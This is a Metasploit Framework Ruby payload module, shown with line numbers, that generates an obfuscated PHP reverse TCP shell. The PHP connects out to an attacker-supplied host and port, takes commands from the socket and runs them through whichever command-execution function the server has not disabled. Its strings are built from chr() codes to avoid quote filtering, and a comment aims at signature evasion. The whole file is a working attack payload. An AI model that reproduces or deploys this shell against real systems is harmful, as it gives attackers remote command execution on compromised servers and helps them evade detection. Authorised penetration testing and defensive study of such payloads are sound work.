| | 1 | ## |
|---|
| | 2 | # $Id: reverse_php.rb 4419 2007-02-18 00:10:39Z hdm $ |
|---|
| | 3 | ## |
|---|
| | 4 | |
|---|
| | 5 | ## |
|---|
| | 6 | # This file is part of the Metasploit Framework and may be subject to |
|---|
| | 7 | # redistribution and commercial restrictions. Please see the Metasploit |
|---|
| | 8 | # Framework web site for more information on licensing and terms of use. |
|---|
| | 9 | # http://metasploit.com/projects/Framework/ |
|---|
| | 10 | ## |
|---|
| | 11 | |
|---|
| | 12 | |
|---|
| | 13 | require 'msf/core' |
|---|
| | 14 | require 'msf/core/handler/reverse_tcp' |
|---|
| | 15 | require 'msf/base/sessions/command_shell' |
|---|
| | 16 | |
|---|
| | 17 | module Msf |
|---|
| | 18 | module Payloads |
|---|
| | 19 | module Singles |
|---|
| | 20 | module Php |
|---|
| | 21 | |
|---|
| | 22 | module ReversePhpWithChecks |
|---|
| | 23 | |
|---|
| | 24 | include Msf::Payload::Single |
|---|
| | 25 | |
|---|
| | 26 | def initialize(info = {}) |
|---|
| | 27 | super(merge_info(info, |
|---|
| | 28 | 'Name' => 'PHP Command Shell, Reverse TCP (via php)', |
|---|
| | 29 | 'Version' => '$Revision: 4419 $', |
|---|
| | 30 | 'Description' => 'Reverse PHP connect back shell with checks for disabled functions', |
|---|
| | 31 | 'Author' => 'egypt <egypt@nmt.edu>', |
|---|
| | 32 | 'License' => BSD_LICENSE, |
|---|
| | 33 | 'Platform' => 'php', |
|---|
| | 34 | 'Arch' => ARCH_PHP, |
|---|
| | 35 | 'Handler' => Msf::Handler::ReverseTcp, |
|---|
| | 36 | 'Session' => Msf::Sessions::CommandShell, |
|---|
| | 37 | 'PayloadType' => 'cmd', |
|---|
| | 38 | 'Payload' => |
|---|
| | 39 | { |
|---|
| | 40 | 'Offsets' => { }, |
|---|
| | 41 | 'Payload' => '' |
|---|
| | 42 | } |
|---|
| | 43 | )) |
|---|
| | 44 | end |
|---|
| | 45 | |
|---|
| | 46 | # |
|---|
| | 47 | # PHP Reverse Shell completely without quotes. Strings and regexes |
|---|
| | 48 | # replaced with chr() equivalents and IP address replaced with integer |
|---|
| | 49 | # equivalent. Requires spaces in a couple of spots, but I don't think |
|---|
| | 50 | # they will cause problems. |
|---|
| | 51 | # |
|---|
| | 52 | # TODO: This could stand to have a bit of randomization added to avoid |
|---|
| | 53 | # signatures. |
|---|
| | 54 | # |
|---|
| | 55 | def php_reverse_shell |
|---|
| | 56 | # |
|---|
| | 57 | # The regex looks like this unobfuscated: |
|---|
| | 58 | # preg_replace('/[, ]+/', ',', $disabled); |
|---|
| | 59 | # |
|---|
| | 60 | |
|---|
| | 61 | ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first |
|---|
| | 62 | port = datastore['LPORT'] |
|---|
| | 63 | |
|---|
| | 64 | shell=<<-END_OF_PHP_CODE |
|---|
| | 65 | $ipaddr=#{ipaddr}; |
|---|
| | 66 | $port=#{port}; |
|---|
| | 67 | $_=chr(95);$a=chr(97);$b=chr(98);$c=chr(99);$d=chr(100);$e=chr(101); |
|---|
| | 68 | $f=chr(102);$h=chr(104);$i=chr(105);$l=chr(108);$m=chr(109);$n=chr(110); |
|---|
| | 69 | $o=chr(111);$p=chr(112);$r=chr(114);$s=chr(115);$t=chr(116);$u=chr(117); |
|---|
| | 70 | $x=chr(120);$y=chr(121); |
|---|
| | 71 | $disabled=@ini_get($d.$i.$s.$a.$b.$l.$e.$_.$f.$u.$n.$c.$t.$i.$o.$n.$s); |
|---|
| | 72 | if(!empty($disabled)){ |
|---|
| | 73 | $disabled=preg_replace(chr(47).chr(91).chr(44).chr(32).chr(93).chr(43).chr(47),chr(44),$disabled); |
|---|
| | 74 | $disabled=explode(chr(44),$disabled); |
|---|
| | 75 | array_walk(&$disabled,trim); |
|---|
| | 76 | }else{ |
|---|
| | 77 | $disabled=array(); |
|---|
| | 78 | } |
|---|
| | 79 | function myexec($cmd){ |
|---|
| | 80 | global$disabled,$_,$a,$c,$e,$h,$m,$n,$o,$p,$r,$s,$t,$u,$x,$y; |
|---|
| | 81 | if(is_callable($s.$h.$e.$l.$l.$_.$e.$x.$e.$c)and!in_array($s.$h.$e.$l.$l.$_.$e.$x.$e.$c,$disabled)){ |
|---|
| | 82 | $output=shell_exec($cmd); |
|---|
| | 83 | return$output; |
|---|
| | 84 | }elseif(is_callable($p.$a.$s.$s.$t.$h.$r.$u)and!in_array($p.$a.$s.$s.$t.$h.$r.$u,$disabled)){ |
|---|
| | 85 | ob_start(); |
|---|
| | 86 | passthru($cmd); |
|---|
| | 87 | $output=ob_get_contents(); |
|---|
| | 88 | ob_end_clean(); |
|---|
| | 89 | return$output; |
|---|
| | 90 | }elseif(is_callable($s.$y.$s.$t.$e.$m)and!in_array($s.$y.$s.$t.$e.$m,$disabled)){ |
|---|
| | 91 | ob_start(); |
|---|
| | 92 | system($cmd); |
|---|
| | 93 | $output=ob_get_contents(); |
|---|
| | 94 | ob_end_clean(); |
|---|
| | 95 | return$output; |
|---|
| | 96 | }elseif(is_callable($e.$x.$e.$c)and!in_array($e.$x.$e.$c,$disabled)){ |
|---|
| | 97 | $output=array(); |
|---|
| | 98 | exec($cmd,$output); |
|---|
| | 99 | $output=join(chr(10),$output).chr(10); |
|---|
| | 100 | return$output; |
|---|
| | 101 | }elseif(is_callable($p.$r.$o.$c.$_.$o.$p.$e.$n)and!in_array($p.$r.$o.$c.$_.$o.$p.$e.$n,$disabled)){ |
|---|
| | 102 | $handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes); |
|---|
| | 103 | $output=NULL; |
|---|
| | 104 | while(!feof($pipes[1])){ |
|---|
| | 105 | $output.=fread($pipes[1],1024); |
|---|
| | 106 | } |
|---|
| | 107 | @proc_close($handle); |
|---|
| | 108 | return$output; |
|---|
| | 109 | }elseif(is_callable($p.$o.$p.$e.$n)and!in_array($p.$o.$p.$e.$n,$disabled)){ |
|---|
| | 110 | $fp=popen($cmd,r); |
|---|
| | 111 | $output=NULL; |
|---|
| | 112 | if(is_resource($fp)){ |
|---|
| | 113 | while(!feof($fp)){ |
|---|
| | 114 | $output.=fread($fp,1024); |
|---|
| | 115 | } |
|---|
| | 116 | } |
|---|
| | 117 | @pclose($fp); |
|---|
| | 118 | return$output; |
|---|
| | 119 | }else{ |
|---|
| | 120 | return false; |
|---|
| | 121 | } |
|---|
| | 122 | } |
|---|
| | 123 | $command=NULL; |
|---|
| | 124 | $nofuncs=$n.$o.chr(32).$e.$x.$e.$c.chr(32).$f.$u.$n.$c.$t.$i.$o.$n.$s.chr(32).chr(61).chr(40); |
|---|
| | 125 | if(is_callable(fsockopen)and!in_array(fsockopen,$disabled)){ |
|---|
| | 126 | $sock=fsockopen($ipaddr,$port); |
|---|
| | 127 | while($cmd=fread($sock,2048)){ |
|---|
| | 128 | $output=myexec(substr($cmd,0,-1)); |
|---|
| | 129 | if($output===false){ |
|---|
| | 130 | fwrite($sock,$nofuncs); |
|---|
| | 131 | break; |
|---|
| | 132 | } |
|---|
| | 133 | fwrite($sock,$output); |
|---|
| | 134 | } |
|---|
| | 135 | fclose($sock); |
|---|
| | 136 | }else{ |
|---|
| | 137 | $sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); |
|---|
| | 138 | socket_connect($sock,$ipaddr,$port); |
|---|
| | 139 | while($cmd=socket_read($sock,2048)){ |
|---|
| | 140 | $output=myexec(substr($cmd,0,-1)); |
|---|
| | 141 | if(!$output){ |
|---|
| | 142 | socket_write($sock,$nofuncs); |
|---|
| | 143 | break; |
|---|
| | 144 | } |
|---|
| | 145 | socket_write($sock,$output,strlen($output)); |
|---|
| | 146 | } |
|---|
| | 147 | socket_close($sock); |
|---|
| | 148 | } |
|---|
| | 149 | END_OF_PHP_CODE |
|---|
| | 150 | |
|---|
| | 151 | # spaces are important but remove tabs and newlines to save space |
|---|
| | 152 | shell.gsub!(/[\t\n]+/, '') |
|---|
| | 153 | return shell |
|---|
| | 154 | end |
|---|
| | 155 | |
|---|
| | 156 | # |
|---|
| | 157 | # Constructs the payload |
|---|
| | 158 | # |
|---|
| | 159 | def generate |
|---|
| | 160 | return super + php_reverse_shell |
|---|
| | 161 | end |
|---|
| | 162 | |
|---|
| | 163 | |
|---|
| | 164 | end |
|---|
| | 165 | |
|---|
| | 166 | end end end end |